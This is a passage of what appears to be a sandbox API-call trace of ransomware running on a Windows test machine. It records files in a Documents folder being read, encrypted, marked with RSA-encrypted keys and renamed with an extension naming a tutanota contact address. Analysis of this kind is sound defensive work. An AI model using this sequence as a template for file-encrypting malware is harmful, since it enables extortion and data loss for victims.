0x5b69e8 [0155.710] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e450 [0155.710] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0155.710] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\cupDn\\ovhur4oc20Jwn.ods" (normalized: "c:\\users\\fd1hvy\\documents\\cupdn\\ovhur4oc20jwn.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b0 [0155.711] GetFileSizeEx (in: hFile=0x6b0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=32170) returned 1 [0155.711] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x7daa) returned 0x6538b0 [0155.711] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x7daa) returned 0x65b668 [0155.711] ReadFile (in: hFile=0x6b0, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x7daa, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x7daa, lpOverlapped=0x0) returned 1 [0155.711] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=-32170, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.712] WriteFile (in: hFile=0x6b0, lpBuffer=0x65b668*, nNumberOfBytesToWrite=0x7daa, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65b668*, lpNumberOfBytesWritten=0x2e3f9b4*=0x7daa, lpOverlapped=0x0) returned 1 [0155.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0155.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65b668 | out: hHeap=0x570000) returned 1 [0155.712] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x7daa [0155.712] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.712] WriteFile (in: hFile=0x6b0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.712] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.712] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.712] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.712] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.712] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="m6HgVKKNY3vDviK9i5g1G1x9KyyNkZbZABUIbK8AnWKpobKJ8GZyw6YiH5EDfEq6\nP41BPTS7QmV5N0EUDvWBdG2YMuahhcpnBaQiRBax8uQnqNJxMyvz1GrsbD5j6PGG\nL1b9lLz5HShfAeKCt8ViynuZoI62d9BQkMAriypAoZfqHlBzxTmkCo+31KCYWZrC\nah+zLmrwjkxeqneDdtSv0dZ9FspMq0S4ueYbfzdUSTOH/uYJq1D++9NTjqbSe5Xs\nID+MTKDuJtFX3gi4eG6+C8g2UNItKgnyvb72cmx3E40qt2mVtf1hd98tmtwWI9Dm\n2a4dcsDQgS9QvNJpLSpVhA==\n", pcchString=0x2e3f9a8) returned 1 [0155.712] WriteFile (in: hFile=0x6b0, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.713] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.713] WriteFile (in: hFile=0x6b0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.713] CloseHandle (hObject=0x6b0) returned 1 [0155.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.713] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\cupDn\\ovhur4oc20Jwn.ods" (normalized: "c:\\users\\fd1hvy\\documents\\cupdn\\ovhur4oc20jwn.ods"), lpNewFileName="\\Users\\FD1HVy\\Documents\\cupDn\\ovhur4oc20Jwn.ods.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\cupdn\\ovhur4oc20jwn.ods.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.717] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e450 | out: hHeap=0x570000) returned 1 [0155.718] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10b8 | out: hHeap=0x570000) returned 1 [0155.718] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0155.718] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0155.718] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdbc8 [0155.718] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10b8 [0155.718] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.718] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\cupDn\\L4a2vrKqmMmeGay.xls", dwFileAttributes=0x80) returned 1 [0155.718] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdd30 [0155.718] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e398 [0155.718] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdd30 | out: hHeap=0x570000) returned 1 [0155.718] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\cupDn\\L4a2vrKqmMmeGay.xls" (normalized: "c:\\users\\fd1hvy\\documents\\cupdn\\l4a2vrkqmmmegay.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b0 [0155.718] GetFileSizeEx (in: hFile=0x6b0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=82151) returned 1 [0155.718] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x140e7) returned 0x2e61f30 [0155.718] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x140e7) returned 0x2e76020 [0155.718] ReadFile (in: hFile=0x6b0, lpBuffer=0x2e61f30, nNumberOfBytesToRead=0x140e7, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesRead=0x2e3f9b4*=0x140e7, lpOverlapped=0x0) returned 1 [0155.720] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=-82151, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.720] WriteFile (in: hFile=0x6b0, lpBuffer=0x2e76020*, nNumberOfBytesToWrite=0x140e7, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e76020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x140e7, lpOverlapped=0x0) returned 1 [0155.721] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.721] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e76020 | out: hHeap=0x570000) returned 1 [0155.721] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x140e7 [0155.721] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.721] WriteFile (in: hFile=0x6b0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.721] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.721] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.722] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.722] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.722] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="QiqZYzTizPkWZdcnBc+wTmBj2A/6AGfL9FiQqTvGaw+WDyFcM9L+Wp3EYCb1eSkM\nSBaRqULSiaPtTKOUj+5U5F7s6vvvNuA2Ah2MgCEo+gR0d5UqANb1hslYtGmZvQGc\nGhXBnEMPrYHsUoWzyyFgctH6Cr+3s3eQLWL37x38sffI19xu9XL60we3yozdF0E5\nMs+PWHr4WlTNAKTSxZG2J4uCyxSm5ONDPyP2GBqPwj9qi4SCvJuV/wk/FIgTdAto\nJxH1uIQQ4ECFno0WILLl0dAYkcQIZmAmL7aOLZjkfijDO+nPkW7fcVYzbyczCbjp\nrVzOJqPm8kJ0BTxmAK6mjA==\n", pcchString=0x2e3f9a8) returned 1 [0155.722] WriteFile (in: hFile=0x6b0, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.722] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.722] WriteFile (in: hFile=0x6b0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.722] CloseHandle (hObject=0x6b0) returned 1 [0155.722] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.722] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\cupDn\\L4a2vrKqmMmeGay.xls" (normalized: "c:\\users\\fd1hvy\\documents\\cupdn\\l4a2vrkqmmmegay.xls"), lpNewFileName="\\Users\\FD1HVy\\Documents\\cupDn\\L4a2vrKqmMmeGay.xls.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\cupdn\\l4a2vrkqmmmegay.xls.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.724] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e398 | out: hHeap=0x570000) returned 1 [0155.724] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10b8 | out: hHeap=0x570000) returned 1 [0155.724] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdbc8 | out: hHeap=0x570000) returned 1 [0155.724] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdb50 | out: hHeap=0x570000) returned 1 [0155.724] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdbc8 [0155.724] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10b8 [0155.724] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.724] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\cupDn\\aG_ILdnlK6A76fygFr.xls", dwFileAttributes=0x80) returned 1 [0155.724] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde20 [0155.724] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0340 [0155.724] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde20 | out: hHeap=0x570000) returned 1 [0155.724] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\cupDn\\aG_ILdnlK6A76fygFr.xls" (normalized: "c:\\users\\fd1hvy\\documents\\cupdn\\ag_ildnlk6a76fygfr.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b0 [0155.724] GetFileSizeEx (in: hFile=0x6b0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=41064) returned 1 [0155.724] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa068) returned 0x6538b0 [0155.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa068) returned 0x2e61f30 [0155.725] ReadFile (in: hFile=0x6b0, lpBuffer=0x6538b0, nNumberOfBytesToRead=0xa068, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0xa068, lpOverlapped=0x0) returned 1 [0155.726] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=-41064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.726] WriteFile (in: hFile=0x6b0, lpBuffer=0x2e61f30*, nNumberOfBytesToWrite=0xa068, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesWritten=0x2e3f9b4*=0xa068, lpOverlapped=0x0) returned 1 [0155.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0155.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.726] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xa068 [0155.726] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.727] WriteFile (in: hFile=0x6b0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.727] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.727] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.727] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.727] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.727] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="KFr++hRuUJsBQkxE5iL4mn1PXcd0QAPhdyoW/12CwqEAkjID5pCnEOAQRahFVaGU\nk3uPR2RSA/J4fqho8HQLms5PYF/cnAov6348MBGY1w52KR63LHd5vS/f1E9k4qjQ\nEAAe+Cga8+rY3pPJoOsQbNZCv34xdw6GZJWH5JPG/eAxWPk3AsAYIuNQf9UwsKUU\nxr/N+C2mXBsrofszF73Gc1Q4gIgzJeYOI/NSDqGU9KhKAHb6iEPfWb6igl/QftsR\nED25m7xdUa6hGrK6z16fhrgwwSgVO8aTrUcwjMMqtCHrIiIsFqJggvxlEWkhEVDS\n22HMZSDOBqc13U2V/jtDuw==\n", pcchString=0x2e3f9a8) returned 1 [0155.727] WriteFile (in: hFile=0x6b0, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.727] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.727] WriteFile (in: hFile=0x6b0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.727] CloseHandle (hObject=0x6b0) returned 1 [0155.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.727] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\cupDn\\aG_ILdnlK6A76fygFr.xls" (normalized: "c:\\users\\fd1hvy\\documents\\cupdn\\ag_ildnlk6a76fygfr.xls"), lpNewFileName="\\Users\\FD1HVy\\Documents\\cupDn\\aG_ILdnlK6A76fygFr.xls.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\cupdn\\ag_ildnlk6a76fygfr.xls.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.729] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0155.729] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10b8 | out: hHeap=0x570000) returned 1 [0155.729] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdbc8 | out: hHeap=0x570000) returned 1 [0155.729] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdad8 | out: hHeap=0x570000) returned 1 [0155.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0155.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1158 [0155.729] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.729] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\cupDn\\ADKDMYjR.ots", dwFileAttributes=0x80) returned 1 [0155.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0155.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e730 [0155.729] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0155.729] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\cupDn\\ADKDMYjR.ots" (normalized: "c:\\users\\fd1hvy\\documents\\cupdn\\adkdmyjr.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b0 [0155.729] GetFileSizeEx (in: hFile=0x6b0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=97712) returned 1 [0155.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17db0) returned 0x2e61f30 [0155.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17db0) returned 0x2e79ce8 [0155.729] ReadFile (in: hFile=0x6b0, lpBuffer=0x2e61f30, nNumberOfBytesToRead=0x17db0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesRead=0x2e3f9b4*=0x17db0, lpOverlapped=0x0) returned 1 [0155.732] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=-97712, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.732] WriteFile (in: hFile=0x6b0, lpBuffer=0x2e79ce8*, nNumberOfBytesToWrite=0x17db0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e79ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17db0, lpOverlapped=0x0) returned 1 [0155.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e79ce8 | out: hHeap=0x570000) returned 1 [0155.733] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x17db0 [0155.733] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.733] WriteFile (in: hFile=0x6b0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.734] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.734] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.734] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.734] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="kT/L3CdXo0PCEVRo3WaTFUSl6g2wq4fQk8b/p5rKUMWPEmFF9CiBMcwilwNvJPbo\nNblZ9v7YpuW7sdrjivBafdHr6qNy3uJ5cakZuWKGmr7uC/qLXWsG8fkT51yU3cHZ\n2K6H1ja3u2vxnOT9CLxmppNvPU8H0wSRGqjOBi36pVNxgXknkcqfvkNarn3qUDbt\nqU4hC+BVeNZwPJw5236630gBM0zq9BaTln/rXDWVniN8o5XOt86Q4YXAGZ7z4lKL\ndEw/oa+cwPB9asu2W9ClCQ38ryjojqfMTLkpzXUYJdoZjWZsTtvDsQQaYJljjL7C\nCuVUzGodPBI5kDuXdZBPnw==\n", pcchString=0x2e3f9a8) returned 1 [0155.734] WriteFile (in: hFile=0x6b0, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.734] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.735] WriteFile (in: hFile=0x6b0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.735] CloseHandle (hObject=0x6b0) returned 1 [0155.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.735] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\cupDn\\ADKDMYjR.ots" (normalized: "c:\\users\\fd1hvy\\documents\\cupdn\\adkdmyjr.ots"), lpNewFileName="\\Users\\FD1HVy\\Documents\\cupDn\\ADKDMYjR.ots.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\cupdn\\adkdmyjr.ots.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e730 | out: hHeap=0x570000) returned 1 [0155.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0155.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0155.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0155.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6300 [0155.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1158 [0155.736] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.736] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\cupDn\\6tEoR.pptx", dwFileAttributes=0x80) returned 1 [0155.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0155.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0155.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0155.737] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\cupDn\\6tEoR.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\cupdn\\6teor.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b0 [0155.737] GetFileSizeEx (in: hFile=0x6b0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=60939) returned 1 [0155.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xee0b) returned 0x6538b0 [0155.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xee0b) returned 0x2e61f30 [0155.737] ReadFile (in: hFile=0x6b0, lpBuffer=0x6538b0, nNumberOfBytesToRead=0xee0b, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0xee0b, lpOverlapped=0x0) returned 1 [0155.739] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=-60939, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.739] WriteFile (in: hFile=0x6b0, lpBuffer=0x2e61f30*, 